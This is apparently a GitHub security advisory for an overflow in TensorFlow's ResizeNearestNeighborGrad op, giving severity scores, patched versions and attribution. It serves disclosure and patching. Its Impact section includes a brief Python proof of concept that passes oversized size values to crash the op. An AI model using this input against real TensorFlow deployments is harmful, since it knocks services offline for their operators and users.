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githubGitHub Advisory DatabaseGHSA-368V-7V32-52FX
HistoryNov 21, 2022 - 10:04 p.m.

Overflow in `ResizeNearestNeighborGrad`

2022-11-2122:04:27
CWE-131
GitHub Advisory Database
github.com
14
tensorflow
security patch
overflow
nearest neighbor
vulnerability
fix

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

0.001 Low

EPSS

Percentile

37.0%

Impact

When tf.raw_ops.ResizeNearestNeighborGrad is given a large size input, it overflows.

import tensorflow as tf

align_corners = True
half_pixel_centers = False
grads = tf.constant(1, shape=[1,8,16,3], dtype=tf.float16)
size = tf.constant([1879048192,1879048192], shape=[2], dtype=tf.int32)
tf.raw_ops.ResizeNearestNeighborGrad(grads=grads, size=size, align_corners=align_corners, half_pixel_centers=half_pixel_centers)

Patches

We have patched the issue in GitHub commit 00c821af032ba9e5f5fa3fe14690c8d28a657624.

The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou from the Secure Systems Lab (SSL) at Brown University.

Affected configurations

Vulners
Node
tensorflowgpuRange<2.10.1
OR
tensorflowcpuRange<2.10.1
OR
tensorflowgpuRange<2.9.3
OR
tensorflowcpuRange<2.9.3
OR
tensorflowgpuRange<2.8.4
OR
tensorflowcpuRange<2.8.4
OR
github_advisory_databasetensorflowRange<2.10.1
OR
github_advisory_databasetensorflowRange<2.9.3
OR
github_advisory_databasetensorflowRange<2.8.4

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

0.001 Low

EPSS

Percentile

37.0%